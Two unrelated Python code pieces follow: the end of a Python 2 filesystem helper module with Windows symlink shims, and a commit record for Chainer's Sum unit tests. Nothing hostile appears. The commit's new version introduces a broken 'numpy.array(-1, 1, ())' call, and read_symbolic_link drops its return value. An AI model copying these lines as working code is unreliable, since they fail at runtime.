		## Internal path string, must be in unicode format.
		self.__path = unicode(path)

	## Support str(path object) or unicode(path object), they are all return
	# an unicode object, actually rabird library is only support unicode
	# string!
	def __unicode__(self):
		return self.__path

	def __div__(self, rhs):
		self.__path = os.path.join(self.__path, unicode(rhs))
		return self

	def clear(self):
		self.__path = u""

# Python 2.x in win32 do not support link operations, so we use jaraco.window to
# add this support.
if ( sys.version_info.major <= 2 ) and ( sys.platform == "win32" ):
	if not hasattr(os, 'symlink'):
		os.symlink = lambda from_path, to_symbolic_link_path: (
			jaraco.windows.filesystem.symlink( from_path, to_symbolic_link_path, is_directory(from_path) )
			)
		os.path.islink = jaraco.windows.filesystem.islink

	if not hasattr(os, 'readlink'):
		os.readlink = jaraco.windows.filesystem.readlink

	if not hasattr(os, 'link'):
		os.link = jaraco.windows.filesystem.link

def change_current_path(path):
	os.chdir(str(path))

def create_directories(path):
	os.makedirs(str(path))

def create_directory(path):
	os.mkdir(str(path))

## Create a hard link ( unimplemented )
def create_hard_link(from_path, to_hard_link_path):
	os.link(str(from_path), str(to_hard_link_path))

## Create a symbolic link ( unimplemented )
def create_symbolic_link(from_path, to_symbol_link_path):
	os.symlink(str(from_path), str(to_symbol_link_path))

def copy(from_path, to_path, options = option_t.NONE ):
	from_path = str(from_path)
	to_path = str(to_path)
	if is_directory(from_path):
		shutil.copytree(
			from_path,
			to_path,
			not (options & option_t.FOLLOW_SYMBOLIC_LINKS) )
	else:
		shutil.copy2(from_path, to_path)

def read_symbolic_link(path):
	os.readlink(str(path))

## Remove target path
#
# @param [in] path: Target path we need to remove
# @param [in] options: A series options to control the remove behaviors.
# @see option_t.
# @param [in] on_error: A callable object that could receive errors. It
# is only valid when path is a directory and options contained IGNORE_ERRORS
# and RECURSIVE.
# @see shutil.rmtree()
def remove(path, options=option_t.NONE, on_error=None):
	path_string = str(path)

	if is_directory(path_string):
		if options & option_t.RECURSIVE:
			if options & option_t.IGNORE_ERRORS:
				shutil.rmtree(path_string, True, on_error)
			else:
				shutil.rmtree(path_string, False, on_error)
		else:
			os.rmdir(path_string)
	else:
		os.remove(path_string)

def current_path():
	return os.getcwdu();

def file_size(path):
	return os.path.getsize(path)

def exists(path):
	return os.path.exists(str(path))

def equivalent(path1, path2):
	path1 = str(path1)
	path2 = str(path2)

	if is_symbolic_link(path1):
		path1 = read_symbolic_link(path1)

	if is_symbolic_link(path2):
		path2 = read_symbolic_link(path2)

	return os.path.realpath(path1) == os.path.realpath(path2)

# Override os.path.samefile, it have not be supported in win32 with python 2.x.
if ( sys.version_info.major <= 2 ) and ( sys.platform == 'win32' ):
	if not hasattr(os.path, 'samefile'):
		os.path.samefile = equivalent

def is_directory(path):
	return os.path.isdir(str(path))

## Check if a path is a regular file .
#
# @param path: The path we want to take a check
# @note The hard link is also a regular file !
def is_regular_file(path):
	return os.path.isfile(str(path))

def is_symbolic_link(path):
	return os.path.islink(str(path))

def is_other(path):
	return (
		exists(path)
		and (not is_regular_file(path))
		and (not is_directory(path))
		and (not is_symbolic_link(path))
		)

def rename(old_path, new_path):
	os.rename(old_path, new_path)

<|endoftext|>


<commit_before>import unittest

import numpy

import chainer
from chainer import cuda
from chainer import functions
from chainer import gradient_check
from chainer import testing
from chainer.testing import attr
from chainer.testing import condition

class TestSum(unittest.TestCase):

    def setUp(self):
        self.x = numpy.random.uniform(-1, 1, (3, 2, 4)).astype(numpy.float32)
        self.gy = numpy.random.uniform(-1, 1, ()).astype(numpy.float32)

    def check_forward(self, x_data, axis=None):
        x = chainer.Variable(x_data)
        y = functions.sum(x, axis=axis)
        self.assertEqual(y.data.dtype, numpy.float32)
        y_expect = self.x.sum(axis=axis)
        gradient_check.assert_allclose(y_expect, y.data)

    @condition.retry(3)
    def test_forward_cpu(self):
        self.check_forward(self.x)

    @condition.retry(3)
    def test_forward_axis_cpu(self):
        for i in range(self.x.ndim):
            self.check_forward(self.x, axis=i)

    @condition.retry(3)
    def test_forward_negative_axis_cpu(self):
        self.check_forward(self.x, axis=-1)

    @condition.retry(3)
    def test_forward_multi_axis_cpu(self):
        self.check_forward(self.x, axis=(0, 1))

    @condition.retry(3)
    def test_forward_multi_axis_invert_cpu(self):
        self.check_forward(self.x, axis=(1, 0))

    @condition.retry(3)
    def test_forward_negative_multi_axis_cpu(self):
        self.check_forward(self.x, axis=(0, -1))

    @condition.retry(3)
    def test_forward_negative_multi_axis_invert_cpu(self):
        self.check_forward(self.x, axis=(-2, 0))

    @attr.gpu
    @condition.retry(3)
    def test_forward_gpu(self):
        self.check_forward(cuda.to_gpu(self.x))

    @attr.gpu
    @condition.retry(3)
    def test_forward_axis_gpu(self):
        for i in range(self.x.ndim):
            self.check_forward(cuda.to_gpu(self.x), axis=i)

    @attr.gpu
    @condition.retry(3)
    def test_forward_negative_axis_gpu(self):
        self.check_forward(cuda.to_gpu(self.x), axis=-1)

    @attr.gpu
    @condition.retry(3)
    def test_forward_multi_axis_gpu(self):
        self.check_forward(cuda.to_gpu(self.x), axis=(0, 1))

    @attr.gpu
    @condition.retry(3)
    def test_forward_multi_axis_invert_gpu(self):
        self.check_forward(cuda.to_gpu(self.x), axis=(1, 0))

    @attr.gpu
    @condition.retry(3)
    def test_forward_negative_multi_axis_gpu(self):
        self.check_forward(cuda.to_gpu(self.x), axis=(0, -1))

    @attr.gpu
    @condition.retry(3)
    def test_forward_negative_multi_axis_invert_gpu(self):
        self.check_forward(cuda.to_gpu(self.x), axis=(-2, 0))

    def check_backward(self, x_data, y_grad, axis=None):
        gradient_check.check_backward(
            functions.Sum(axis), x_data, y_grad, atol=1e-4)

    @condition.retry(3)
    def test_backward_cpu(self):
        self.check_backward(self.x, self.gy)

    @condition.retry(3)
    def test_backward_zerodim_cpu(self):
        x = numpy.array(0, dtype='f').astype(numpy.float32)
        gy = numpy.random.uniform(-1, 1, ()).astype(numpy.float32)
        self.check_backward(x, gy)

    @condition.retry(3)
    def test_backward_axis_cpu(self):
        for i in range(self.x.ndim):
            gy = numpy.ones_like(self.x.sum(axis=i)) * self.gy
            self.check_backward(self.x, gy, axis=i)

    @condition.retry(3)
    def test_backward_negative_axis_cpu(self):
        gy = numpy.ones_like(self.x.sum(axis=-1)) * self.gy
        self.check_backward(self.x, gy, axis=-1)

    @condition.retry(3)
    def test_backward_multi_axis_cpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(0, 1))) * self.gy
        self.check_backward(self.x, gy, axis=(0, 1))

    @condition.retry(3)
    def test_backward_multi_axis_invert_cpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(1, 0))) * self.gy
        self.check_backward(self.x, gy, axis=(1, 0))

    @condition.retry(3)
    def test_backward_negative_multi_axis_cpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(0, -1))) * self.gy
        self.check_backward(self.x, gy, axis=(0, -1))

    @condition.retry(3)
    def test_backward_negative_multi_axis_invert_cpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(-2, 0))) * self.gy
        self.check_backward(self.x, gy, axis=(-2, 0))

    @attr.gpu
    @condition.retry(3)
    def test_backward_gpu(self):
        self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(self.gy))

    @attr.gpu
    @condition.retry(3)
    def test_backward_axis_gpu(self):
        for i in range(self.x.ndim):
            gy = numpy.ones_like(self.x.sum(axis=i)) * self.gy
            self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=i)

    @attr.gpu
    @condition.retry(3)
    def test_backward_negative_axis_gpu(self):
        for i in range(self.x.ndim):
            gy = numpy.ones_like(self.x.sum(axis=-1)) * self.gy
            self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=-1)

    @attr.gpu
    @condition.retry(3)
    def test_backward_multi_axis_gpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(0, 1))) * self.gy
        self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=(0, 1))

    @attr.gpu
    @condition.retry(3)
    def test_backward_multi_axis_invert_gpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(1, 0))) * self.gy
        self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=(1, 0))

    @attr.gpu
    @condition.retry(3)
    def test_backward_negative_multi_axis_gpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(0, -1))) * self.gy
        self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=(0, -1))

    @attr.gpu
    @condition.retry(3)
    def test_backward_negative_multi_axis_invert_gpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(-2, 0))) * self.gy
        self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=(-2, 0))

    def test_invalid_axis_type(self):
        with self.assertRaises(TypeError):
            functions.Sum([0])

    def test_invalid_axis_type_in_tuple(self):
        with self.assertRaises(TypeError):
            functions.Sum((1, 'x'))

    def test_duplicate_axis(self):
        with self.assertRaises(ValueError):
            functions.Sum((0, 0))

    def test_pos_neg_duplicate_axis(self):
        with self.assertRaises(ValueError):
            self.x.sum(axis=(1, -2))

testing.run_module(__name__, __file__)
<commit_msg>test x paramerize<commit_after>import unittest

import numpy

import chainer
from chainer import cuda
from chainer import functions
from chainer import gradient_check
from chainer import testing
from chainer.testing import attr
from chainer.testing import condition

class TestSum(unittest.TestCase):

    def setUp(self):
        self.x = numpy.random.uniform(-1, 1, (3, 2, 4)).astype(numpy.float32)
        self.gy = numpy.random.uniform(-1, 1, ()).astype(numpy.float32)

    def check_forward(self, x_data, axis=None):
        x = chainer.Variable(x_data)
        y = functions.sum(x, axis=axis)
        self.assertEqual(y.data.dtype, numpy.float32)
        y_expect = self.x.sum(axis=axis)
        gradient_check.assert_allclose(y_expect, y.data)

    @condition.retry(3)
    def test_forward_cpu(self):
        self.check_forward(self.x)

    @condition.retry(3)
    def test_forward_axis_cpu(self):
        for i in range(self.x.ndim):
            self.check_forward(self.x, axis=i)

    @condition.retry(3)
    def test_forward_negative_axis_cpu(self):
        self.check_forward(self.x, axis=-1)

    @condition.retry(3)
    def test_forward_multi_axis_cpu(self):
        self.check_forward(self.x, axis=(0, 1))

    @condition.retry(3)
    def test_forward_multi_axis_invert_cpu(self):
        self.check_forward(self.x, axis=(1, 0))

    @condition.retry(3)
    def test_forward_negative_multi_axis_cpu(self):
        self.check_forward(self.x, axis=(0, -1))

    @condition.retry(3)
    def test_forward_negative_multi_axis_invert_cpu(self):
        self.check_forward(self.x, axis=(-2, 0))

    @attr.gpu
    @condition.retry(3)
    def test_forward_gpu(self):
        self.check_forward(cuda.to_gpu(self.x))

    @attr.gpu
    @condition.retry(3)
    def test_forward_axis_gpu(self):
        for i in range(self.x.ndim):
            self.check_forward(cuda.to_gpu(self.x), axis=i)

    @attr.gpu
    @condition.retry(3)
    def test_forward_negative_axis_gpu(self):
        self.check_forward(cuda.to_gpu(self.x), axis=-1)

    @attr.gpu
    @condition.retry(3)
    def test_forward_multi_axis_gpu(self):
        self.check_forward(cuda.to_gpu(self.x), axis=(0, 1))

    @attr.gpu
    @condition.retry(3)
    def test_forward_multi_axis_invert_gpu(self):
        self.check_forward(cuda.to_gpu(self.x), axis=(1, 0))

    @attr.gpu
    @condition.retry(3)
    def test_forward_negative_multi_axis_gpu(self):
        self.check_forward(cuda.to_gpu(self.x), axis=(0, -1))

    @attr.gpu
    @condition.retry(3)
    def test_forward_negative_multi_axis_invert_gpu(self):
        self.check_forward(cuda.to_gpu(self.x), axis=(-2, 0))

    def check_backward(self, x_data, y_grad, axis=None):
        gradient_check.check_backward(
            functions.Sum(axis), x_data, y_grad, atol=1e-4)

    @condition.retry(3)
    def test_backward_cpu(self):
        self.check_backward(self.x, self.gy)

    @condition.retry(3)
    def test_backward_zerodim_cpu(self):
        x = numpy.array(-1, 1, ()).astype(numpy.float32)
        gy = numpy.random.uniform(-1, 1, ()).astype(numpy.float32)
        self.check_backward(x, gy)

    @condition.retry(3)
    def test_backward_axis_cpu(self):
        for i in range(self.x.ndim):
            gy = numpy.ones_like(self.x.sum(axis=i)) * self.gy
            self.check_backward(self.x, gy, axis=i)

    @condition.retry(3)
    def test_backward_negative_axis_cpu(self):
        gy = numpy.ones_like(self.x.sum(axis=-1)) * self.gy
        self.check_backward(self.x, gy, axis=-1)

    @condition.retry(3)
    def test_backward_multi_axis_cpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(0, 1))) * self.gy
        self.check_backward(self.x, gy, axis=(0, 1))

    @condition.retry(3)
    def test_backward_multi_axis_invert_cpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(1, 0))) * self.gy
        self.check_backward(self.x, gy, axis=(1, 0))

    @condition.retry(3)
    def test_backward_negative_multi_axis_cpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(0, -1))) * self.gy
        self.check_backward(self.x, gy, axis=(0, -1))

    @condition.retry(3)
    def test_backward_negative_multi_axis_invert_cpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(-2, 0))) * self.gy
        self.check_backward(self.x, gy, axis=(-2, 0))

    @attr.gpu
    @condition.retry(3)
    def test_backward_gpu(self):
        self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(self.gy))

    @attr.gpu
    @condition.retry(3)
    def test_backward_axis_gpu(self):
        for i in range(self.x.ndim):
            gy = numpy.ones_like(self.x.sum(axis=i)) * self.gy
            self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=i)

    @attr.gpu
    @condition.retry(3)
    def test_backward_negative_axis_gpu(self):
        for i in range(self.x.ndim):
            gy = numpy.ones_like(self.x.sum(axis=-1)) * self.gy
            self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=-1)

    @attr.gpu
    @condition.retry(3)
    def test_backward_multi_axis_gpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(0, 1))) * self.gy
        self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=(0, 1))

    @attr.gpu
    @condition.retry(3)
    def test_backward_multi_axis_invert_gpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(1, 0))) * self.gy
        self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=(1, 0))

    @attr.gpu
    @condition.retry(3)
    def test_backward_negative_multi_axis_gpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(0, -1))) * self.gy
        self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=(0, -1))

    @attr.gpu
    @condition.retry(3)
    def test_backward_negative_multi_axis_invert_gpu(self):
        gy = numpy.ones_like(self.x.sum(axis=(-2, 0))) * self.gy
        self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(gy), axis=(-2, 0))

    def test_invalid_axis_type(self):
        with self.assertRaises(TypeError):
            functions.Sum([0])

    def test_invalid_axis_type_in_tuple(self):
        with self.assertRaises(TypeError):
            functions.Sum((1, 'x'))

    def test_duplicate_axis(self):
        with self.assertRaises(ValueError):
            functions.Sum((0, 0))

    def test_pos_neg_duplicate_axis(self):
        with self.assertRaises(ValueError):
            self.x.sum(axis=(1, -2))

testing.run_module(__name__, __file__)
<|endoftext|>